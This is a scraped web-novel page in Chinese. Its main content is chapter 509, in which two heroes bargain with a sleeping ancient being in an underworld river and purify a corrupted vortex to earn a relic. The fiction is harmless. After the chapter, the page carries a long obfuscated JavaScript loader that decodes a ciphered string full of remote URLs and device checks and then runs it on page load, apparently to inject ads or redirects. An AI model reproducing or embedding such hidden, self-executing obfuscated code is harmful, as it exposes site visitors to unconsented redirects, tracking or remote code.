首页
第509章 漩涡
返回
关灯 护眼:关 字号:小

第509章 漩涡

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    那声直接在灵魂深处响起的叹息,带着亘古的疲惫和一丝难以言喻的悲凉,让慕晨和影晨浑身的血液都几乎冻住。眼前盘踞在石笋阴影中的庞大存在,仅仅是“注视”,就让他们感觉如同被投入深海,承受着无孔不入的威压和……一种奇异的、昏昏欲睡的安宁感。
    偷东西被屋主当场抓获,还是这种级别的“屋主”。
    影晨的大脑在空白了零点三秒后,求生本能和那张从来不服软的嘴率先开始工作。他硬是扯出一个比哭还难看的笑容,声音因为紧张有点变调,但话倒是顺溜:
    “呃……大、大佬您好!晚上好!吃了没?……不是!那个,误会!天大的误会!”他语无伦次,手指下意识地指向来路,“我们不是偷!绝对不是!我们是……是来送快递的!对,代收件!门口那个灰不溜秋、长得像过时鹅卵石的家伙,它、它让我们来取个包裹!说是什么‘旧鳞片’到付件!我们就是俩跑腿的!您看这服务评价给个五星?”
    他一口气说完,感觉肺部火辣辣的,也不知道是憋气憋的还是吓的。
    巨大阴影的意念无波无澜,像深潭死水:「石头?那个滑头、惫懒、总想钻空子的小看守?」意念中似乎掠过一丝极淡的,类似于“果然又是它”的无奈。「自己守着门不敢擅离,就支使外人来碰我的东西。‘旧鳞’?呵……它倒是会挑。那东西对它有什么用?」
    有门!没立刻动手!还能交流!
    慕晨强迫自己从灵魂层面的震慑中挣脱出来,大脑以前所未有的速度分析现状、对方的态度、可能的转机。他按住还在试图挤出更多“快递员证词”的影晨,上前(在水中做了一个类似躬身)的动作,声音尽量保持平稳清晰,虽然依旧能听出一丝紧绷:
    “前辈明鉴。我们确受冥川守门石所托,前来取一件名为‘旧鳞’之物。事前不知此乃前辈珍藏,更不知此举会打扰前辈清眠,实属冒昧唐突。若前辈不愿,我们即刻退走,绝不再犯。此番打扰,还请前辈海涵。”
    他的姿态放得很低,承认事实,表达歉意,给出明确的退让方案,同时点出“守门石”这个中间人,把皮球踢回去一部分——是你们“老同事”让我们来的,我们只是不明真相的工具人。
    阴影沉默了片刻。那两点深渊般的“目光”在两人身上缓缓移动,重点扫过慕晨左臂那道被混沌污染侵蚀后留下的狰狞疤痕,又停留在影晨脖子上那枚此刻微微发烫、仿佛遇到天敌般颤动的暗色星钥吊坠上。
    「退走?」意念传来,带着一丝几乎无法察觉的、冰冷的讥诮,「带着‘种子’的臭味,和那枚让人不快的‘叛逆钥匙’,闯进我的沉眠地,看了我的藏品,惊扰了我的梦……然后说声抱歉就想走?」
    影晨的心沉了下去。完蛋,要翻车。
    但阴影的意念随即又是一转,那浓重的悲伤感似乎更明显了:「你们知道……上一个,带着类似‘钥匙’气息,还有一颗未成熟‘种子’闯进来的家伙,后来怎么样了吗?」
    来了!经典反派台词!影晨头皮发麻,脑子里瞬间闪过一万种恐怖死法,但嘴上却不甘示弱(或者说,是吓到极致反而口无遮拦):“下、下场?变、变成您这儿的永久住户了?还是变成了那边石笋上的新装饰?大佬,我们商量一下,我们俩,肉少,骨头硬,塞牙!还柴!炖汤都不香!而且我们穷,没啥值钱东西,收藏价值基本为零!您看是不是……高抬贵手,把我们当个屁放了?”
    他这通胡言乱语,把紧张到极点的慕晨都听得眼角一抽。
    那阴影似乎也顿了一下。意念中那股沉重的悲意,竟被冲淡了一丝丝,取而代之的是一种难以言喻的古怪情绪,仿佛看到一个蹒跚学步的幼崽在猛兽面前挥舞树枝。
    「变成装饰?呵……那倒没有。」阴影的意念似乎……缓和了那么一丁点?「我只是让他……安安静静地,睡了一个很长的觉。现在还没醒。大概……挂在那边的第三根,嗯,第七根石笋上?要去参观一下吗?他的睡相,还挺安详。」
    阴影随意地“瞥”了一眼远处一根挂满发光苔藓和某种水晶藤蔓的石笋。
    慕晨和影晨顺着“目光”看去,隐约看到那石笋中段,似乎真的有一个模糊的、被晶体半包裹的人形轮廓……
    两人齐齐打了个寒颤。
    这比直接杀了还瘆人啊!永久沉睡当展览品?!
    慕晨深吸一口气(虽然在水里这动作有点怪),知道不能再任由对方带节奏了。他必须把话题引向更有利,或者至少能获得信息的方向。
    “前辈似乎对‘钥匙’与‘种子’知之甚详。”他抬起眼,直视那两点幽邃的“目光”,尽管灵魂都在因威压而震颤,“我们二人,确是被卷入此局,身不由己。‘钥匙’择主,‘种子’附身,非我们所愿,更不知前路何方,背后真相。观前辈气度,似与此间常客不同,不知可否……为我们这迷途之人,稍作指点?”
    他这番话,姿态更低,甚至带上了点“弱者求教”的意味,但核心是把问题抛回给对方——你对这些这么熟,那我们这情况你怎么看?我们也是受害者,你这种级别的大佬,不至于跟我们两个“身不由己”的小虾米过不去吧?顺便,还能套点情报。
    阴影再次沉默。这一次,沉默的时间更长。那庞大的身躯在阴影中似乎微微动了一下,搅动起缓慢的水流。
    「身不由己……哼。」意念中传来一声辨不出情绪的冷哼,「每一个被‘选中’的,起初都这么说。直到他们被那份‘使命’腌入味,变成另一个模子里刻出来的傀儡,或者……被‘门’后面的东西,吃得渣都不剩。」
    它的话印证了慕晨最坏的猜想,也透露了更多——这个存在,不仅知道“钥匙”和“种子”,还知道“门”后面有东西!甚至可能见过不少“引导者”的结局!
    「不过……」阴影的意念忽然聚焦,如同探照灯般再次扫过两人,尤其在慕晨那挣扎着未被混沌吞噬的左臂,和影晨那枚桀骜不驯的暗色星钥上停留更久,「你们俩……倒真是有点意思。一个,身染最污秽的混沌,灵魂却还在秩序这边摇摇欲坠地站着,没彻底倒过去。另一个,拿着把本该是‘秩序标杆’的钥匙,却把自己弄成了个‘叛逆样板’……难怪那滑头石头会找上你们。」
    它似乎看穿了什么,语气里多了一丝玩味,还有一点……极其微弱的、类似看到新奇玩具的好奇?
    「那惫懒货,支使你们来取‘旧鳞’,恐怕不止是为了鳞片里那点残存的力量感悟和我那点……陈年旧事记忆吧?」阴影的意念如同冰水,缓缓渗透,「它是不是还许诺了你们什么?比如……怎么躲开‘上面’那些烦人眼睛的小把戏?」
    影晨眼睛一亮,立刻抓住机会卖队友(卖得毫不犹豫):“大佬英明!那破石头坏得很!它就说您这儿睡得沉,让我们随便拿,完事给我们什么观察者后门和屏蔽信号的方法!还发誓了!结果全是坑!大佬您要给我们做主啊!”那语气,活像被街头混混骗了钱找警察叔叔告状的小学生。
    慕晨没有阻止影晨的“告状”,这同样是一种试探,看这位存在对“守门石”的真实态度。
    阴影似乎发出了一声极其低沉、几乎听不见的嗤笑。
    「做主?我与它,虽有旧谊,却也各有界限。它的小算盘,我懒得管。不过……」阴影的意念陡然变得清晰而具有压迫感,那点微弱的悲意和好奇被一种不容置疑的威严取代,「既然你们闯了进来,惊扰了我,又带着那滑头石头的‘委托’……不如,也替我办件事。」
    来了!真正的转折点!
    慕晨精神一振,但警惕性提到最高:“前辈请讲。”
    影晨也竖起了耳朵,心里盘算着:办事?总比被挂墙上当展品强。但千万别是去掏另一个更恐怖大佬的窝……
    阴影的意念指向漩涡深处,那片缓慢旋转的、令人心悸的黑暗水域:
    「看到漩涡中心,那片最深沉的暗色区域了吗?那里,沉淀了一些……不太好的东西。是漫长岁月里,从‘门’那边泄露过来的杂质,混合了某些失败者崩溃后的精神残渣,还有冥川本身淤积的负面情绪。它们形成了一种‘沉淤’,正在缓慢侵蚀漩涡的稳定性,也让我睡得很不舒服。」
    「我的力量属性与这‘沉淤’相冲,强行清理会扰动整个冥川水系,甚至可能惊醒更多不该醒的东西。而普通生灵靠近,会被其中的混乱和绝望直接污染心智,变成白痴或者疯子。」
    「但你们……」阴影的“目光”在两人之间逡巡,「一个带着混沌污染却保持清醒,一个拿着叛逆钥匙……或许,能扛得住那里的侵蚀。我要你们潜入漩涡边缘,不,不用到中心,只要到‘沉淤’聚集最浓的外围区域,将这块‘净漩石’(一道微光闪过,一块拳头大小、表面布满螺旋纹路的乳白色石头出现在慕晨面前)放置进去。它会自动吸收净化一部分‘沉淤’,减轻我的负担,也能让这冥川的水流更干净些。」
    任务听起来……好像没那么离谱?至少不是直接去打BOSS。但“沉淤”、“混乱绝望”、“污染心智”……一听就不是好地方。
    “办好了,”阴影的意念平静无波,却带着重若千钧的承诺,「那枚‘旧鳞’,你们可以取走,交给那石头或者自己留着研究,随你们。我还可以额外告诉你们一些……关于‘门’后面那些‘观察者’的运作机制弱点的‘小秘密’,以及如何更有效地利用你们俩这‘不稳定状态’暂时躲避追踪。毕竟,看着那些自以为是的‘观察者’吃瘪,也算是件趣事。」
    “如果……办不好呢?”影晨咽了口唾沫,小声问。
    阴影的意念没有丝毫波动,却让周围的温度都仿佛下降了几度:
    「如果办不好……被‘沉淤’污染,变成了只会呓语的疯子,或者失落在漩涡里……那也就省得我动手了。如果你们胆敢中途逃跑,或者拿了石头不办事……」它没有说下去,但那股骤然锁定的、冰冷刺骨的杀意,已经说明了一切。
    这不是请求,是通牒。一个危险,但伴随着巨大潜在回报的通牒。
    慕晨的大脑飞速运转。分析任务风险:深入未知污染区,抵抗精神侵蚀,放置净化物品。评估自身条件:两人都有一定的混沌抗性(慕晨是亲身经历,影晨是钥匙属性),且任务目标明确,并非直接对抗。权衡收益:获得“旧鳞”完成与石头的交易(换取重要情报),还能得到这位神秘存在关于“观察者”弱点的信息(可能比石头的后门更有价值),以及更有效的隐匿方法。
    风险很高,但收益也极高。而且,他们似乎没有太多选择。
    他看向影晨,用眼神询问。影晨咬了咬牙,脸上闪过挣扎,但最终还是重重地点了下头——干!拼了!总比现在就被挂墙上强!
    “好。”慕晨转向阴影,沉声道,“我们接受。但请前辈稍候,我们需要短暂调整,以最佳状态应对‘沉淤’侵蚀。”
    「可。」阴影的意念似乎满意了,那股锁定的杀意如潮水般退去,只留下淡淡的威压。「给你们一刻钟。漩涡边缘的水流会为你们指引方向。记住,保持灵台清明,勿被杂念所趁。尤其是……别对‘沉淤’中可能显现的幻象,产生任何共鸣或同情。」
    说完,那庞大的阴影缓缓沉入石笋底部的更深处,只留下那两点幽邃的“目光”最后瞥了他们一眼,便彻底隐没在黑暗中。但那笼罩空间的沉重感和被注视感,并未完全消失。
    慕晨和影晨迅速后退一段距离,找了个靠近洞壁、相对水流平缓的地方。
    “净漩石”悬浮在慕晨面前,散发着温和的净化气息,触手微温。
    “妈的,刚出狼窝,又入虎穴。”影晨一边检查自己的装备,一边压低声音骂骂咧咧,“这大佬看着比那破石头还难搞!说话文绉绉的,心眼子比石头身上的坑都多!让咱们去掏下水道就直说,还‘沉淤’,还‘睡得不舒服’……我看它就是懒,自己不想动!”
    慕晨正在快速将秩序能量调整到最适合防护精神冲击的状态,同时检查左臂的封印:“它的力量属性可能确实与那‘沉淤’冲突,强行清理副作用大。让我们去,既是利用,也是考验。任务本身危险,但逻辑上说得通。更重要的是它承诺的报酬……关于‘观察者’弱点的信息,至关重要。”
    “那‘旧鳞’呢?咱们真取了给那破石头?”影晨不甘心,“感觉那鳞片也是个好东西,说不定有啥隐藏属性。”
    “先完成任务,拿到手再说。”慕晨眼神深邃,“那位存在说了,‘随我们处置’。具体如何,视情况而定。石头那边……它的誓言约束它必须给我们报酬,但没规定我们不能从其他渠道获得更多。或许,我们可以‘修正’一下与它的交易内容。”
    影晨听懂了,嘿嘿一笑:“黑吃黑?我喜欢。不过……那‘沉淤’听着就恶心,咱们真能扛住?我可不想变成嘴里流哈喇子的傻子。”
    “所以需要配合。”慕晨看向他,“你的黑焰和紫电,对负面能量和混乱精神有一定灼烧驱散效果。我的秩序能量能稳定心神,构建防护。进入后,我们背靠背,能量共鸣,共同抵抗侵蚀。一旦感觉不对劲,立刻撤退,放置‘净漩石’可以远程投掷,不必强求最佳位置。”
    “明白。”影晨点头,活动了一下脖子,“走吧,早点干完早点收工。这地方待得我浑身发毛。”
    一刻钟很快过去。
    两人状态调整到目前能达到的峰值。他们对视一眼,深吸一口气(尽管在水下),朝着那片缓慢旋转、颜色深沉的巨大漩涡边缘游去。
    越是靠近,越能感觉到那漩涡的磅礴与诡异。水流的力量在增大,带着一种奇特的牵引感。周围的光线越发暗淡,只有漩涡本身散发出一种暗沉、仿佛能吸收一切光线的幽光。
    而随着靠近,一种低沉的、混杂着无数窃窃私语、绝望嘶吼、疯狂呓语的“噪音”,开始隐隐约约地传入他们的脑海。不是通过耳朵,是直接作用在意识层面。
    这就是“沉淤”散逸出的精神污染?
    慕晨立刻加强秩序能量的防护,一层淡金色的微光笼罩两人。影晨也调动起黑焰,在体表形成一层薄薄的、跃动的暗色火焰,灼烧着试图渗透进来的无形污秽。
    “跟紧我。”慕晨低声道,率先朝着阴影指示的方向——漩涡边缘一处水流相对平缓、但幽暗之色格外浓重的区域潜去。
    影晨紧随其后,手中已经扣住了那枚“净漩石”。
    随着深入,那精神噪音越来越清晰,也越来越混乱。眼前开始出现扭曲的、一闪而过的幻象:破碎的文明废墟、挣扎扭曲的人形、无法理解的几何图形、还有浓稠如墨的黑暗……
    “保持清醒!别去‘理解’那些幻象!”慕晨的声音通过灵魂锚点传来,带着稳定的力量。
    影晨咬紧牙关,将注意力集中在背后的慕晨和前方的目标上,心里默念:都是假的,都是垃圾,老子是来通下水道的,通完就走……
    终于,他们抵达了那片区域。
    这里的水流几乎凝滞,颜色是令人不安的暗紫近黑。水中悬浮着无数细小的、如同灰烬般的黑色颗粒,偶尔聚合成狰狞的鬼脸形状,又迅速消散。那股绝望、疯狂、腐朽的气息浓烈到几乎化为实质,不断冲击着他们的防护。
    而在这片区域中央,隐约能看到一团更加深邃的、不断蠕动变化的黑暗物质,那就是“沉淤”的核心聚集点之一。
    “就这里!”慕晨喊道,声音在精神噪音中有些失真,“影晨,投石!”
    影晨早已蓄势待发,瞄准那团蠕动黑暗的边缘(避开最中心),用尽全力,将手中散发着乳白微光的“净漩石”投掷过去!
    石头划过一道微光轨迹,没入那片黑暗!
    刹那间!
    如同冷水滴入滚油!
    那团“沉淤”猛地剧烈翻腾起来!发出无声的、却直刺灵魂的尖锐嘶鸣!无数黑色颗粒疯狂涌向“净漩石”,试图将其污染、包裹、吞噬!
    而“净漩石”表面的螺旋纹路骤然亮起,乳白色的净化光芒如同涟漪般扩散,与黑色颗粒接触,发出“嗤嗤”的声响,彼此消磨!
    整个漩涡边缘的水流都因此产生了紊乱!
    更糟糕的是,随着“沉淤”被扰动,更加狂暴、更加清晰、更加具有诱惑力和攻击性的精神幻象,如同海啸般朝着慕晨和影晨拍打过来!
    幻象不再是破碎的片段,而是连贯的、逼真的场景:
    他们看到了“归墟”在烈火与冰霜中崩塌,慕紫嫣浑身浴血,向他们伸出手,眼中是无尽的悲伤与责问……
    他们看到了彼此,在某个未来,兵戎相见,为了某个选择,打得你死我活,最终一人倒下……
    他们甚至看到了“门”后的景象——那并非什么崇高的存在,而是一片冰冷、机械、无尽重复的“数据处理洪流”,无数类似他们的“引导者”意识在其中沉浮、被分析、被淘汰、被“格式化”……
    “别信!都是假的!是‘沉淤’在攻击我们的弱点!”慕晨的声音带着罕见的急切,秩序金光疯狂闪耀,试图驱散幻象,但他的脸色也苍白起来,左臂的黑色疤痕传来灼痛,似乎那混沌污染也在蠢蠢欲动!
    影晨更是双目赤红,他看到慕晨倒下的幻象如此真实,让他心脏抽搐,黑焰不受控制地暴走,焚烧着周围的黑暗,却也让他自己的精神防护出现裂痕!
    “滚开!都他妈给我滚开!”影晨怒吼,紫电乱窜!
    就在两人精神防线岌岌可危,即将被幻象吞噬的瞬间——
    影晨脖子上那枚暗色星钥吊坠,慕晨胸前那枚金色星钥吊坠,同时爆发出强烈的光芒!
    不是攻击,也不是防护,而是一种奇特的、共鸣的震动!
    两种截然相反的光辉交织在一起,形成一种混沌而有序的奇特力场,瞬间将周围最猛烈的精神幻象冲击得七零八落!
    那些逼真的场景如同被打碎的镜子般剥落、消散!
    与此同时,那枚投入“沉淤”的“净漩石”,在吸收了大量负面能量后,乳白色光芒达到了顶峰,猛地向内一缩,然后——
    嗡!!!
    一道柔和的、却带着坚定净化力量的乳白色光环,以它为中心,猛地扩散开来!
    所过之处,暗紫色的“沉淤”如同阳光下的冰雪般快速消融、褪色!水中悬浮的黑色颗粒纷纷化作青烟消散!连那令人窒息的精神噪音,也骤然减弱了大半!
    成功了?!
    慕晨和影晨从幻象冲击中挣脱,大口喘着气(虽然在水下),惊魂未定地看着眼前迅速变得“干净”许多的水域,又看向彼此脖子上兀自散发微光、缓缓平息的吊坠。
    这两把“钥匙”……刚才好像,保护了他们?
    没等他们细想,阴影那宏大而平和的意念,再次传来,这次,似乎少了一丝疲惫,多了一点……轻松?
    「不错。比我想的,完成得还好。」
    「看来那两把‘问题钥匙’,偶尔也能派上点用场。」
    「‘净漩石’会持续工作。现在,去拿你们应得的东西吧。」
    「那枚‘旧鳞’,是你们的了。」
    随着意念,那根目标石笋顶端,封存着“旧鳞”的“凝神晶”,发出一声轻微的脆响,自动从石笋上脱离,缓缓朝着两人飘来。
    而在他们身后,冥川幽暗的水道方向,一点熟悉的、灰扑扑的影子,正鬼鬼祟祟地、探头探脑地朝着这边“张望”。
    是那块“守门石”。
    它果然一直在附近观察!此刻看到任务似乎完成,立刻就想过来“验收成果”兼“讨债”了。
    慕晨和影晨对视一眼,看到了彼此眼中同样的想法。
    呵,破石头,想摘桃子?
    没那么容易。
    现在,轮到我们,坐地起价了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o50hvng3np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/On0hX2ps2J/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"On0hX2ps2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8On0hX2ps2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();